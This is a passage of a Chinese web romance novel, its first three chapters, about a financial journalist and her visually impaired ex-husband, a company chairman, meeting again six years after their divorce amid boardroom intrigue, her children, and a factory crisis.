《离婚六年后[破镜重圆]》
1. 第 1 章
五月的澜川市迎来梅雨季。
蒙蒙细雨陆陆续续下了半月有余,空气沉重粘热,满是让人心烦的燥意。
车窗缓缓升上,覃乔捞起副驾驶座位上的速记本,卡在封面上的Lamy钢笔在半空中落下,她条件反射地伸出另只手接住,掌心轻轻硌在那刻有“覃乔”两字的笔面上。
这支钢笔跟了她十四年,那刻记,经年累月被她指尖抚过,字痕早已磨得模糊,此刻却像碎沙顺着血脉碾进心脏,细细密密的都是痛意,她恍如被烫到,扔下这支钢笔,皮座椅不平,钢笔滚进缝隙中便静静停在那儿。
来电铃声响起,打破凝结的空气。
覃乔眨了眨潮湿的眼睫,将速记本按在腿上,拿起中空格子内的手机。
“主任,我们已经到‘乔树集团’休息室了。”电话那头清甜的女声是她带的实习生楚依依。
覃乔说了句:“马上到”掐断电话。
休息室里,省台的三位财经记者人手端了一杯咖啡,避开其他媒体记者,站在角落里闲聊。
记者A小声问:“主任刚下飞机,就拎包上班啊?”
记者B啧啧两声,奇怪道:“主任上个月连Cocore智能医疗发布会都推了,今天这种二级市场的股东大会,她怎么亲自来了?”
两人询问的目光同时落在楚依依脸上。
作为覃乔回国后带的第一位实习生,楚依依其实没多少机会跟着老师学习。虽说覃乔已经回国半年,但满打满算,两人真正相处的时间还不到一个月。
楚依依抿了口咖啡,决定稍微给两人透露一点:“听说乔树集团的海外资金流水和Sigma那桩丑闻很像……”
财经记者作为上市公司高层会议中唯一被允许旁听的“外人”,肩负着信息披露监督和舆论监督的职责。但现实中,大多数时候他们就是当个安静的记录员。
会议室里坐着的大佬们,哪个不是人精?报道写得太直白,一旦得罪人就容易被穿小鞋,所以大家心照不宣,报道都是四平八稳的,除非——像覃主任这样的资深媒体人,才敢用尖锐提问撕开那层体面的遮羞布。
棕红色大门从外推进来,覃乔一手拎电脑包,一手夹着速记本进门,房间里二十几双眼睛不约而同地看向她。
覃乔穿一身米白色职业装,上装一粒扣收腰设计,勾勒出她纤细的腰身,锁骨发,灯光坠在她乌黑的头发上,散发出如绸缎般的光泽。
休息室内与覃乔一样的资深记者有四位,来自省内周边几个市,三男一女,这些人虽未必照过面,但同在一个圈子多少都有耳闻,在看到这帮同行时候,覃乔唇角微微上勾,露出极具亲和力的微笑。
盆栽的琴叶榕有近两米高度,郁郁葱葱,叶片如同小提琴形状,覃乔掀眸,视线穿透叶片间隙看到了自己组的成员,她们亦是在盯着她看。
*
财经记者记者被安排在靠墙的旁听席,一共两排,覃乔与他们组的成员坐在第一排,长桌上放着他们随身带的笔记本电脑。
时间差不多了,西装革履的董事们鱼贯而入,会议期间他们这帮人只允许旁听不得喧哗,采访时间安排在会议结束之后。
“哚——哚——”
盲杖敲击瓷砖地面发出清脆的响声其中还夹杂着稳重的脚步声,隔着一堵墙都能听见。由远及近,很快那道挺拔顷长的黑色身影出现在会议室门口。
此人正是‘乔树集团’创始人兼董事长陈嘉树先生。而他身旁这位与他同行戴着无边框眼镜的男士则是他们集团的副总裁(CEO)朱奥。
一屋子人的目光都在他们身上,跟踪两人的行走轨迹,直到分别落座。
覃乔埋头在书记本上写了几笔,随后抬头,后背靠着椅子,掀眸时恰与主位上的陈嘉树四目相对。
纯黑色挺括西装,肩背宽厚,内搭的白衬衫扣的一丝不苟,今天会议隆重他还特意扎了深蓝色领带,修长的脖颈依稀可见微凸的喉结。
剑眉星目,瞳眸深邃,几经世事雕琢,目光变得更为精锐锋利,唯一没变的是那股子清正之气。
老朋友朱奥也看到了她,对着她颔首示意。覃乔回以微笑。
会议进入后半程,陈嘉树一人主导的汇报工作进入尾声,鼓掌声中,他拄着盲杖走到长桌一侧第三张位置上那位年龄偏大的董事身后。
这位老董事正想起身,被陈嘉树轻轻按下去。
“孙董事,您是我的‘天使投资人’,是最早期支持欣赏我的人,没有您就没有今天的陈嘉树。”
孙董转身仰视陈嘉树,迟疑道,“陈董,你这……”
陈嘉树微微一笑说:“某些人觉得我眼疾加重,认为我已经不胜任董事长这个职位,也确实给了一些人——”他一顿,意义莫名地重咬下面几个字,“下毒的机会。”
闻言,孙董事那点挤出来的笑意僵在脸上,董事们交头接耳的窃窃私语,同时勾起了旁听席上记者们的好奇。
“买通我身边的助理,劳心劳神地专门为我‘量身定制’报表,”陈嘉树的语气可以说是接近温和,却令人不寒而栗:“诸位不妨想想,如果我今天真的‘看错’了这份报表,签了那份并购协议,明天股价崩盘时,损失的是谁?”
扣在孙董肩上的五指微微施力,他仍是微笑面对众人,“是您,孙董事,您质押的12%股权会第一个爆仓;还是林董事,您儿子的信托基金持有多少‘乔树’债券,需要我当众念出来吗?”
被提名的林董事垂眸,心虚地翻手里的文件。
会议室内发出很轻的唏嘘声,楚依依垂眸打字,将所见所闻记录在电脑上。忽地,听见一声“咚”,接着什么东西撞了一下她的脚尖,她往桌子底下看,竟是一只黑色水笔。
拾起这支笔,楚依依将它放到覃乔的手边,用气声说了句,“主任您的笔。”
没有回应。
楚依依余光瞄过去,看见覃乔表情凝重,眸色晦暗不明,像是在思考什么棘手的问题。
接下去的半小时,陈嘉树先礼后兵,用隐晦的话语劝退了这位董事,起初这位老董事还很不服气,毕竟他是元老级别,认为乔树集团有今天他的功劳最大,没有他当年的三千万哪里来得乔树。
陈嘉树还是为他保留颜面,随口提了几家海外离岸公司,某人的一些神操作,这位孙董当场就脸色煞白,嘴唇哆哆嗦嗦地说不出话。
倒是走之前孙董不再要体面,直接人身攻击,似乎想在走前博回一局:“陈嘉树你别忘了!瞎子走夜路,最容易摔跟头。”
陈嘉树只是淡淡一笑,回到位置上,扫视这里的每个人,而后说:“现在轮到诸位选择,是继续陪一个瞎子走夜路,还是去追那些看得见的‘光明前途’?”
原来这场股东大会的最终戏码是揪出最大的内鬼,他们这些财经记者什么没见过?但都不及今天的精彩。
温和开场,将个人攻击转化为集体利益危机,威慑满级却又留余地,最后留给大家投名状的机会,陈嘉树这招实在高明。
旁听记者们互相传递一个叹服的眼神。
会议散场后,其他人悉数离开,留下五名资深记者,采访环节安排在会议室里间的高层休息室。
大门推进去,先入眼的是墙上一副近十米长的山水字画,转身可见一套组合式素色布艺沙发,尽头是一副巨型落地窗。
窗外已雨停,日头钻出云层,金光倾泻入屋内,在地砖上投下大片光斑。
接待他们的男助理请他们先就坐,询问他们喝茶的喜好后便让人去准备。
内室门从里拉开,走出来的男人也是陈嘉树的助理,他站在休息室中央,双手攥着一份文件,视线落在那位男记者脸上,恭敬道:“请周松记者跟我来。”
每人只有一个问题,十分钟不到四人都已离开,覃乔被排在最后,她知道是陈嘉树的意思,他们的名单早在一周前就就已送到他手里,陈嘉树知道她来。
这次没请她进去,而是陈嘉树走出来,他挥动盲杖,向她走过来。
他走动时背脊挺拔,眼眸明亮有神,如果不是手里这根盲杖,都看不出他的眼疾已经到了需要用它的地步。
大门轻轻阖上,那位助理也走了。
“陈董。”覃乔叫了他一声。
“乔乔,好久不见,我有没有让你失望?”
陈嘉树轻松地翘了翘嘴角,勾出浅浅的弧,三十八岁的人,覃乔竟被他脸上不经意流露出的少年气息晃了眼睛。
那年,前脚和陈嘉树办理离婚,后脚她就去了英国,在那里一呆就是五年多,倒也不是说一次也没回来过,逢年过节每次回来都是匆匆忙忙,她与陈嘉树亦有碰过两面,都只是客气寒暄。
他说的好久大概指“一年”,覃乔心里想。
陈嘉树走到单人沙发前,弯腰摸到扶手,慢慢地坐下来,随后将盲杖靠到一旁。
刚才覃乔还在心里夸他,可他从站到坐这一幕让她有胸腔里起了滞闷感,她深吸一口气,一时忘记陈嘉树就在身边。
她用余光去偷看陈嘉树,因这声无端叹息,他的睫毛颤了颤,不知是介意还是正常生理反应。
陈嘉树是个敏感多思的人,眼睛从来是他的“禁忌”,似乎让人知道他这件事他就成了需要被照顾的弱者,他的朋友不多,但与他交往密切的无一不是配合他不去谈这事,也包括她。
一直到那年,在那条长长的暗巷里陈嘉树牵起她的手,“覃乔这里没有灯,是我的世界。”
覃乔还听出另一层意思,他的世界,他的过去都像没“没有灯”,充满模糊、黑暗、孤独。’
那时她想做一盏永不熄灭的长明灯。
“没关系,我看得清。”
这是她当时的回答。
思绪回笼及时,覃乔半转身面向陈嘉树:“陈董您是一位令人钦佩的人。”
“钦佩?这两个字从你嘴里听到,有种……我这场会议还没结束的错觉。”他短促地笑了声,“只不过你比他们更真诚。”
覃乔跟着笑了:“你现在挺会讲冷笑话——”话一出口她自个儿先愣住。
陈嘉树能看见覃乔,虽说是很模糊的虚影,他似乎看到了她嘴角弯弯的样子。
六年了,他们分开的这些年,他每天拿平板看国际新闻,去年眼睛不行了,他便戴起定制的助视眼镜,放大二倍、三倍乃至五倍,只为了能看清她的脸。
新闻里的她盘起一丝不苟的发髻,妆容精致,专业干练,吐字如珠落玉盘,娓娓动听。
助理按陈嘉树的要求送来两杯茶水,放下之后便出去了,茶香浓郁,覃乔端起茶杯小小啜了一口,温润的茶汤滚入喉咙,余味在齿尖萦绕。
“只是工作任务?”陈嘉树又问了一遍。
茶杯轻轻放在桌上,覃乔点头,“准确说是来找茬,只不过——”她故意停顿,待他挑眉表示兴趣时,她道,“陈董不是自己已经解决了。”
她做了个猜想:“‘定制报表’是陈董您故意给的机会,就是为了揪出孙董等人?”
陈嘉树微微颔首,覃乔思索片刻,指尖缓慢地抚过杯壁:“不过……只揪出孙董这只‘鸡’,不怕其他‘猴子’连夜销毁证据?”
“覃记者觉得我该把名单上董事们的质押情况都念一遍?”他神情稍霁,笑得轻松,“那明天乔树集团就该上你们《财经前沿》头条了。”
也对,杀鸡儆猴的精髓不在于杀,而在于让其他猴子看清局势,主动选边站队。
“陈董,高明。”
她这句不过心的商业吹捧,让陈嘉树绷不住笑开,笑了片刻,他说:“前段时间我跟中申
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的秦振东吃饭,他债券都跌穿发行价了,我还夸他眼光独到,战略超前,手腕比华尔街那帮人还狠,秦董乐得都合不拢嘴,非拉我一起建仓。”
曾经的陈嘉树沉默少言,不擅长生意场上那套虚以委蛇,曲意逢迎,喝两杯酒满脸通红,让他说奉承话,常常被张爽吐槽“金口难开”,现在这个男人谈笑间就能把谎话说得比真金还真,她不知该欣赏他如今的游刃有余,还是该遗憾那个宁折不弯的少年,终究被资本驯化成了最精明的模样。
覃乔微笑:“所以……陈董在提醒我那句“高明”也是逢场作戏?”
“逢场作戏……”他稍一忖,说,“也要看对手戏的是谁。”
*
黑色宾利停泊在名为‘澜川市新诚外来子弟务工小学’的学校门口。
推开车门,覃乔先行下车,迎着拂面的微风,微微眯起眼睛,这儿她怎会不熟,曾是乔树集团的前身,那时还是叫……嘉树电器有限公司。
司机拉开另一侧车门,陈嘉树从车里钻出来,盲杖点地,他往前多走几步,身后一道很轻的关门声,随后司机倒车,再掉头,汽车便开走了。
陈嘉树转头问她,“乔乔,还记得这里吗?”
“记得。”她回答。
高跟鞋与地面碰撞出清脆、清晰的声响,覃乔走到陈嘉树左侧,一股淡淡的似有若无的男性香水尾调钻入她鼻腔,沉稳的木质香混合淡淡的大地味,隐约糅杂有一缕清爽的杜松子尾调。
陈嘉树的第一瓶香水正是她买的,爱马仕的某经典款,与他身上这款味道很接近,在之前他从不用香水,身上的清香总是洗衣粉自带的香味有时混合沐浴露的香气,很淡,唯有在他怀中才能嗅到。
“陈嘉树给我站住!”
夕阳斜照入办公室,在瓷砖地面上留下一大块不规则形状的橘黄色光斑,两人在办公室里玩起‘老鹰捉小鸡’陈嘉树站在办公椅后边,双手抓着皮椅边缘,浑身每个细胞都在抗拒她的接近。
就好像她手里拿的不是香水而是生化武器。她又气又好笑,左手叉腰,“陈嘉树!你现在是陈总,高端商务人士,总不能还用洗衣粉撑门面吧?”
“我这样挺好……”
“爽哥说上次王总跟你握手,以为你刚搬了一箱洗衣粉,”
“那天我手上沾了油污,拿洗衣粉洗手。”说到后面陈嘉树自个儿先笑了,“你这是嫌弃我给你丢人了?”
覃乔跑上去抓住他,摁出香水,喷在他身上,浓郁的香味在空气中凝结成团再徐徐扩散 。
陈嘉树一把将她压入怀中,又伸出手想抢她手里的香水,覃乔旋即将手举的老高。
“我特别特别嫌弃!”她笑着喊。
他有意让她,最后只攥住她拿香水的手腕,垂首,下颌抵在她颈窝,微热的气息拂在她颈间。
“嘉树”她往外推他:“在公司呢。”
他笑里带着促狭,柔软唇肉揉过她的肌肤,“星期天,没人。”
酥痒到她浑身微微起战栗。
忽然,另条手臂圈住她的腰肢,“乔乔,还记得我们结婚那天你说……将来想要一个带落地窗的房子,能看到孩子在花园里荡秋千……”
独属于他的气息将她的脸庞烤的滚烫,她垂下拿香水的手,额角的碎发被他轻轻捋开,他的双眼闪烁着细碎的光,“我想有个属于我们的家,想你们永远不离开我。”
他的左眼失明已多年,调养加入保养让它的外观、神采和健眼看不出区别,如若不是每天需要上药都快忘记失明这件事。
她踮起脚尖在他的柔软眼睑上吻了吻,他睁开眼时,眼底的柔情漫溢出来,托住她的臀部一下把她抱起来,他玩心忽起抱着她转圈。
“嘉树……”
这声最终消散在回忆里。
覃乔侧眸看陈嘉树的眼睛,一如当年她习惯走在他的左侧,深邃的眼瞳中映有倒退的景物,清清明明,恍若一面擦拭得很干净的镜子。
再往前是通往教室的台阶,覃乔看了眼地面,踏上一级,却忘记提醒陈嘉树。由于和她说话,一时分神,陈嘉树的脚尖踢到台阶,控不住身体,他整个人往前扑了出去,覃乔眼疾手快,本能地转身,本能地托住他两条手臂,可仍是没阻止他下坠的重力。
“砰!”闷声着地。
明明是她在下面,却没感觉到很痛,她后知后觉地发现,背后突然多出来一条手臂,垫高了她的背部,而人的自我保护机制在落地前脖子往前抻从而也没磕到后脑勺。
“嘉树——”她几乎脱口而出。
陈嘉树趴在她身上,放掉盲杖,摸到她的头颅,从后托起,声音打着颤,“哪里受伤了?”
“我没有受伤。”他看不清,覃乔怕他胡思乱想,说得很清楚,“你呢?”
“没事。”
陈嘉树往被压的手臂那侧翻了个身,平躺在地上,盲杖咕噜咕噜地滚到一旁。
身上没有了负重,覃乔抬高背部,陈嘉树得以将手臂抽出,她马上从地上爬起来,爬到陈嘉树身边,目光走过他身上每一寸,检查他有没有受伤。
覃乔先搀扶他站起身,再去捡盲杖,回来时,盲杖还没递出。
覃乔猝不及防地,整个人被一股不可撼动的力量拽进一个怀抱,这个怀抱带着微微热意。
宽厚踏实的掌心紧贴她的背部,隔着挺括的西装面料,陈嘉树的心跳震颤又快又重,像被困住的雀鸟撞击牢笼。
覃乔下意地识挣动,可一想到方才他保护自己,卸了力气,任由他抱着。指尖掐进掌心,传来细密如针刺般的疼痛,只是,远远不足以唤回她的理智。
阔别了六年,久违的拥抱,久违到已经陌生,陌生到她能数清他呼吸的间隔。
他的声音闷在她颈间:“乔乔,再给我一次机会”
2. 第 2 章
覃乔回到家已经六点。三个小孩跑过来缠着她,覃乔弯腰先抱妹妹,再抱昭野,最后抱Danie,主打雨露均沾。
保姆兰姐小跑过来,覃乔对她微笑一下,然后带着孩子们去了客厅。
她的工作性质不是朝九晚五,提早回来都会和母亲杨淑华发信息,母亲会准备她的晚饭。
家里三个孩子,覃乔最早请了三位保姆,但都被杨女士温柔的送走,只留下兰姐一人。杨女士不是为了给她省钱,而是认为自己即使退休了,也需要发光发热,既然话都说到这份上,覃乔再没有理由阻止她‘老骥伏枥’的劲头。
吃完晚饭,覃乔将三个小孩叫到房间,她有话和他们说。
半年时间她将国外的项目做了了结,所以以后的工作重心以澜川为主。那么就涉及到孩子们的上学问题。
覃乔坐在沙发上,覃昭野和覃乐晞分别坐她两边,Danie坐她腿上。她抚摸着晞晞毛茸茸的脑袋问覃昭野,“昭野,你是哥哥,能保护妹妹吗?”
她已经看好一家外国语幼儿园,也和里面的校长取得联系,可以破例给这三孩子安排在一个班级。
“晞晞会保护自己。”覃昭野嘟着嘴巴说。
说是哥哥,其实昭野只比晞晞早出生两分钟,都是一样大的孩子,让谁来照顾谁都对孩子来说都不公平。
也许是她思想偏传统,认为男孩子需要能担事,可昭野有时候反而比妹妹更容易哭,甚至有些软弱,口气稍微重一些,眼泪就哗哗的落下来,她始终想不通为什么会这样。
直到——
她的好闺蜜楚语桐有次来英国看她,楚语桐家的的是男孩,跳上跳下,活泼开朗,每天都和小猴子一样有使不完得劲。
“你们家啊阴盛阳衰,昭野从出生开始,陪他长大的不是育儿嫂就是杨阿姨,男孩子还是得由男人带着,你看昭野一不称心就哭鼻子,被欺负也是哭鼻子,我都担心长此以往,将来一点儿男子气概都没有,还真不像他爸……”
楚语桐话锋一转,“我觉得男孩女孩养法是不一样的,不有句话叫作富养女儿穷样儿子吗?我家老沈就是这么教育的,我儿子可怕他爸爸了,看到沈屿和老鼠看到猫一样,不过老沈说如果将来有女儿,他一定把养成公主,儿子要是觉得不公平,那就给他送寄宿学校去,没得商量。”
覃乔仍试图反驳她的这套说辞:“可一样方法养……Danie勇敢多了。”
“人种不一样!”
楚语桐说话一向直来直去,覃乔一开始有些抗拒,但仔细想想也并不是毫无道理,同样都是娇生惯养,昭野比妹妹还娇气。
“妈妈我来保护哥哥吧。”晞晞拍拍胸脯道。
Danie在她腿上挪了挪,像个小英雄似的: “我来保护弟弟妹妹。”
今晚覃乔翻来覆去睡不着,索性去书房完成白天没完成的工作,等待手机开机的间隙,她又想起了陈嘉树白天那句话:
“乔乔再给我一次机会。”
她对陈嘉树现在的感情三言两语说不清,可以这么说,没有陈嘉树就没有今天的她,那些年他不止给她爱,还给她恩,可他.....总自以为的为她好,一而再再而三的推开她,即使后来他们结婚了.....他的个人英雄主义仍是没有抛弃。
人生之路很长,不该总是活在感激,或是担惊受怕中,哪天醒来,床边人又变成冷漠的样子,说最无情的话,赶走她,而她还得一次次感谢他。
屏幕微蓝的光映照在她平静的眉眼上,指腹快速在屏幕上敲击,凌晨两点她回复完所有工作群艾特她的消息。
*
暴雨过去,今日澜川阴天,天气凉爽。
陈嘉树刚结束一场视频会议,他揉着太阳穴回到办公桌前,刚坐下,玻璃门被敲响。
秘书田佳悦抱着一沓文件进来,放在办公桌固定的位置上,便开始汇报工作。
陈嘉树拿了一份文件放在桌上,再戴上助视镜,他边听田佳悦汇报边审读文件,不时打断提问。
“70%?延迟多久?他们有没有给出具体的恢复时间表和替代方案?我们的安全库存还能撑多久?”
田佳悦翻到下一页:“根据函件初步评估,完全恢复至少需要3个月以上。他们表示会优先保障长期战略客户,但具体分配方案未定,正在协商……”
最后陈嘉树就主供、锁定二供,给出决策方案,田佳悦高效复述指令后等待陈嘉树点头。
陈嘉树抬起头,颔首说:“这个应急会议你来主持。”
田佳悦收起文件,就在这时,玻璃门被人叩了声,陈嘉树还没说“请进”,门外的人便已推门而入。
见是朱奥,田佳悦还有些吃惊,男人神色焦灼,直往她这儿走。这位温雅稳重的男人何曾这么火烧眉毛过,这是遇到了什么天大的事?
“陈董,”
朱奥站定田佳悦身侧:“东亭工厂出事了,两小时前有一对父子从行政楼上跳下来,现在媒体把我们厂大门堵了。”
陈嘉树“蹭”地起身:“跳楼?!”
跳楼?
制造业,工人需求量大,大大小小的意外不少,比如说手受伤、腿受伤、严重的截肢……但员工跳楼这种骇人听闻的事,闻所未闻。田佳悦攥着文件上的手不自觉地收紧。
朱奥:“工厂那边已经封锁起来了,那些员工下班后全部安置在员工宿舍。”
陈嘉树脸色铁青:“人怎么样?”
他摘了助视镜扔桌上:“还有,谁给你们的权力封锁厂区的?你当是刑事案件现场吗?!”
朱奥一怔。
而后,立即掏出手机,翻找到厂区总负责人丁总的电话,然而,连着打了两通电话那边都没人接。
与此同时,陈嘉树冷沉镇定的声音从左侧传来:
“立刻通知安保部做四件事,第一,所有媒体请到会议室,提供茶水和完整事件声明;第二,让医务组配医院全力抢救,同时安抚好家属情绪;第三,所有员工按原岗位待命,让公关部带着录音设备去车间。第四:全厂员工正常上下班。”
放下这几句话,陈嘉树拄着盲杖往外走,田佳悦紧跟其后。
朱奥仍伫立在原地,缓慢地消化完陈嘉树这些话,他找到自己秘书的号码,拨过去,让她按照陈嘉树的意思传达下去。
*
“昨晚20时,科锐科技 B 市光明工厂爆发1000余名员工集体停工事件,这是我国制造业近十年来首次出现持续性厂区滞留抗议……”
上午九时三十分,《财经前沿》直播现场,穿一身珍珠白的主播覃乔坐在主播台前,神色凝重地面向镜头,语速明快地报道。
这是最后一条新闻,等覃乔说道那句“我是覃乔,《财经前沿》明天同一时间见”工作人员立即切断直播,关闭电源,拆卸摄像机上的云台。
而台上的覃乔合上文件,取下西装外套衣襟上的收音器,交给身边的工作人员,她和那位工作人员说了几句话,才起身下台。
助理送来了覃乔办公桌上的牛皮笔记本,覃乔拿着它坐电梯上十六楼进了会议室。
会议临近结束,门口有人敲门,陆台说了声“请进”,一位留着齐耳短发,穿着玫红色西装裙的女人款款走进来,走到陆台身边。
陆台起身介绍:“大家欢迎霍蓝可,以后我们的新同事。”
都在一个圈子但凡有点名气的虽不定见过面但一定听过或者看到过,今天在场的有半数人都认识这位主播——璟山省法制节目《法治同行》收视女王。
霍蓝可初来乍到面向大家鞠了个二十度的躬,“我是霍蓝可,很高兴能与大家一起共事。”
其他人陆续离开后,会议室里只剩下三人。陆台对覃乔说,“霍主播目前暂时接替你的位置,覃主任接下来你可以全身心放在行政事务上。”他一顿,又说,“当然,财经这边的事务还是由你来统筹负责。”
覃乔略颔首,抬眸时对上霍蓝可的视线,两人相视一笑。她不认识霍蓝可,这个女人看着三十出头应该比她小,大气的鹅蛋脸,明艳的妆容,眉眼间有股子干练劲。
覃乔不由得想起很多年那个做任何事都风风火火的主播,现已经是海城卫视的台柱子,想当年她们竞争激烈,但今年年初在海城的研修班,遇到了她,一笑泯恩仇,两人还一块去酒店共用了晚餐。
用这位主播的话来说:“人从一出生就在争,幼时争小红花,上学时争第一,成年了争学业争黄金档的机会,但,这不就是是人生吗。”
是啊,这就是人生。
*
次日傍晚,一辆黑色宾利缓停在外国语幼儿园门口。
绛色彩霞浮在天空,橙黄色光线洒在车顶上,跳动绮丽的光彩。
主驾驶车门打开,西装笔挺的男人跑去后座拉开车门。
车里出来的男人,发型干练利落,脸型硬朗,瞳眸深邃,尤其是高大的身形,吸引了周遭不少人的目光,但当他们看到男人打开盲杖,落地一刹,惊艳的目光变成惊讶。
只是瞬息而已,能将孩子放在国际幼儿园念书的,这些家长至少都是中产阶级,换句话说高学历训练成的教养刻在骨子里。
陈嘉树站在人群末排,小军在他身侧,跟着他一点一点跟随接孩子队伍往前挪。
“张翊丞的干爹,孩子在这儿。”
说话的是张翊丞的老师。
加上这次陈嘉树总共来接过张翊丞三次,他的特征太好辨认,老师想不记住都难。
张翊丞走到陈嘉树面前,陈嘉树弯下腰,揉了揉他的头发,温柔地问:“丞丞晚上想吃什么?”
“他奶奶提前跟我打过电话了,陈先生您将张翊丞接走吧。”老师对他说。
陈嘉树轻点头道了声谢:“谢谢老师”。于是,他牵起张翊丞的手往车那边走。
坐进车里,张翊丞打开书包,取出在幼儿园画的太空画给陈嘉树看。
“干爹,我画的太空人。”
陈嘉树微微笑,问:“可以给干爹讲讲什么样的太空人吗?”
张翊丞直接跪坐在皮椅上,将这沙幅放到陈嘉树腿上,然后他握住陈嘉树的一根手指,引导他摸到画纸上凸起的颗粒。
“让我猜?”陈嘉树问的同时指腹已在上面滑动。
这是沙画,一看就是在老师指导下完成的,沙面平整没有什么凹坑,陈嘉树猜:“这是一只书包?背着书包的太空人?”
张翊丞用力摇头:“
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才不是,这是太空人的吸氧包。”
陈嘉树笑了,继续边摸边猜,没有一个答对的。张翊丞将画纸塞回书包里:“我回去给奶奶看。”
车在马路上行驶,小军开车很稳,若不是偶尔停下等红绿灯,就像静止一般。
陈嘉树摸摸他的头说:“丞丞,这几天呢,你得睡我这儿,爷爷奶奶去旅游了。”他在孩子面前说了谎,事实上奶奶住院做胆囊结石手术,爷爷在医院陪护。
旅游?
张翊丞腮帮子鼓的更圆了:“我不喜欢爷爷奶奶了。”
“干爹带你去吃披萨。”
这类食物爷爷奶奶从不让他去吃,张翊丞抓住陈嘉树手臂,高兴地摇晃:“好哦,好哦,我要吃披萨。”
陈嘉树一个人是看不住张翊丞的,他还叫了个帮手。
田佳悦拎着一盒玩具,早已等候在餐厅门口。
“哥。”田佳悦看到这个小帅哥,腰弯很低:“丞丞,我们又见面啦。”
小军没再跟进去,而是坐扶梯下楼,他也需要去吃晚饭。
西餐厅是朱奥推荐的,头一次来,没想到里面灯光这么暗,陈嘉树一进这里,便只能看到微弱的光亮,连餐厅内布置的大概轮廓都分辨不出。
田佳悦:“到了。”
在外面,陈嘉树即使拿着盲杖也不能规避所有的障碍,一路过来田佳悦时时刻刻留意着他。
服务员替他们拉开椅子,陈嘉树抬手往前探,攥住椅背后坐下来,田佳悦把带来的乐高玩具送给张翊丞,一转头刚好看到这一幕。
她虽是哥哥的秘书,看过他工作中的种种不便,但无论看到多少次,每次看他摸索心里都不是滋味。
在她心里,哥哥特别厉害,他是他们一中建校至今的天才,是奥赛金牌得主,他自主创业,从十几平米的维修店店主,一步步走到今天的位置。
也见证了他的视力在去年年中急转直下……有一个多月他的出行都靠助理搀扶,但在经过很长一段时间适应及与他们磨合之后,现在外出他们只需在旁出声指路,哥哥可以自己独立行走。
趁没开餐前,田佳悦去了一趟卫生间,回来时眼睛红红的,一名端着牛排的服务员与她擦肩而过,这盘牛排放在一个七八岁的小男孩面前。
小男孩拿起刀叉,熟练地切牛排,切下一块放入嘴中咀嚼。
“行行给妈妈吃点。”
一直盯着手机屏幕的楚语桐抬起下颌,饥肠辘辘的她问自己儿子讨吃的。而正是这一眼,被她看到斜对面的老熟人——陈嘉树。
真是活见鬼了,她难得来趟澜川,第一个先见到的竟是他。古诗里说什么“人生何处不相逢”?
现在她只想回一句“冤家路窄”。
牛排戳到楚语桐嘴唇,她的好儿子最孝敬她这个老妈了,楚语桐咬住牛肉,脖子往后一抻,将肉从刀叉上拔下来,嚼了两下就吞了下去。
楚语桐还暗戳戳地用手机拍下几张照片,这几张照片自然是给覃乔看得。
这天晚上快一年没见的闺蜜俩,躺在床上聊天,打完三个哈欠,楚语桐忍不住说到陈嘉树,忍不住拿起床头柜上的手机,翻到那一家三口的照片。
她忿忿道:“看看,孩子都这么大了。”
覃乔心里不想理这事,眼睛却不自觉地瞟到手机屏幕上。
照片中陈嘉树是面朝楚语桐的,只不过眼睛看得是旁边的小男孩,他嘴角噙一抹温柔的笑意,还有种说不出来的像——慈爱。
再看这个小男孩,小脸干净清秀,穿着淡蓝色校服衬衫,胳膊细细的,看着不像三岁,大概四五岁,和她家昭野身高差不多。
男孩这眉眼有几分眼熟,覃乔像是在哪里见过,又想不起来。
“朋友的孩子吧。” 她下意识地说。
楚语桐手指戳过来指着屏幕里那一半浅黄色模糊背影。
长发披肩,薄背纤腰,覃乔早看到了,但那又怎么样,可能是公司的某个高管,也可能是合作伙伴,但无论是谁都与她无关。
“我来做个推测,这么大的孩子也许不是老陈的,但有没有可能是女人带来的?”
楚语桐指尖滑了两下,这次照片里出现,女人站在男孩身侧,弯下腰,拿了张纸巾亲昵的给男孩擦领子上的污迹。
这张照片拍得特别清晰,男人加深的笑意,小孩懂事且乖巧,女人爱子心切的贤惠……单看照片确实很像一家子。
“可惜了,没拍到女人正脸,我又不敢明目张胆的拍,但我有看到她的样子,长得很漂亮,关键年轻,看着二十出头。”她叹了声气,“男人啊不管多大年纪都喜欢年轻的。”
覃乔这次直接别过头,漂亮的、年轻的、带孩子的……那是陈嘉树的事,她管不着。
见覃乔似乎不大高兴,楚语桐将手机反扣在手心,靠过去撞了下她的胳膊,“怎么?前夫找个了年轻漂亮的心里不平衡了?”
覃乔被她直接整无语,滑进被窝里,被子拉到下巴,闭上眼睛睡觉。
楚语桐努努嘴,看了眼紧阖眼皮装睡的女人,还想说的话咽回肚子里。
隔了半晌,女人眼皮颤了颤,补充说明:“明天上级领导检查,睡觉。”
楚语桐暗自窃笑。
3. 第 3 章
东亭厂事故发生的第三天,陈嘉树就这件事开了第二次会议,会议围绕东亭厂区那对父子跳楼之后集团的应对方。
会议结束,其他人鱼贯而出,会议室里只剩陈嘉树和田佳悦。
陈嘉树习惯性地揉着太阳穴,眉头微蹙,他偏头对田佳悦说:“公关部你多跑几趟。”
田佳悦新闻学研究生毕业,进集团后曾在公关部待过两年,之后被提拔到董秘位置。
“我知道了。”田佳悦合上文件,回视陈嘉树,再次留意到他发青的眼睑,抿了抿唇,道,“哥,这种事情企业中不少发生,只要处理得当,对集团不会有很大的影响。”
陈嘉树放下手,修长匀称的指骨压在文件上:“工人在行政楼跳楼,绝不是临时起意,更不会毫无缘由。他们选择用这种方式结束生命,一定是走投无路了……”
“大型企业层级复杂,底下人想瞒,上面确实很难事事洞察。”田佳悦斟酌措辞后道:“蚂蚁躲在石头缝里啃地基的时候,大象确实看不见。”
陈嘉树倏然起身,他拿起一边的盲杖,拉开椅子,绕开会议桌,走到落地窗前,田佳悦夹着文件走跟过来,停在在他身后。
堆积的铅色云层,豁然打开一条蜿蜒的缝隙,金灿灿的光线穿透玻璃照在男人身上,为他镀上一层薄薄的淡金色。
修长脖颈上可见浅淡的青色筋络,微凸的喉结仿佛嶙峋山峰。山峰微微起伏,那道低沉的声从喉头溢出,“查吧,你立刻带队审计去东亭,我要精确到每一笔加班费。”
乔树集团在国内共建了三个厂区,澜川本地总厂职员近万人,另外两个厂区分别在F市和Z市,上月交上来的报表统计出两个厂职员一万五千人,这还不包括全国八百多家直营门店。
田佳悦有时候都为哥哥感到累,去年年初一,他们去他那儿吃晚饭,那时候爽哥还在,两人歪在沙发搂肩碰杯。
哥哥醉言醉语道:“那时候,就想发个小财,然后娶……娶心爱的女人,后来生意越做越大,起初……还沾沾自喜,不用再去陪酒陪笑,慢慢地压力越来越大,这时候想收手,忽然发现已停不下来……就好像背后有双手推着往前,只能硬着头皮往前走……”
